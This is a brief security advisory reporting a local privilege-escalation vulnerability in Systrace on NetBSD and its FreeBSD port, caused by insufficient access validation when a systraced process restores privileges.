A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal. 

The source of the issue is insufficient access validation when a systraced process is restoring privileges. 

This issue can be exploited by a local attacker to gain root privileges on a vulnerable system.
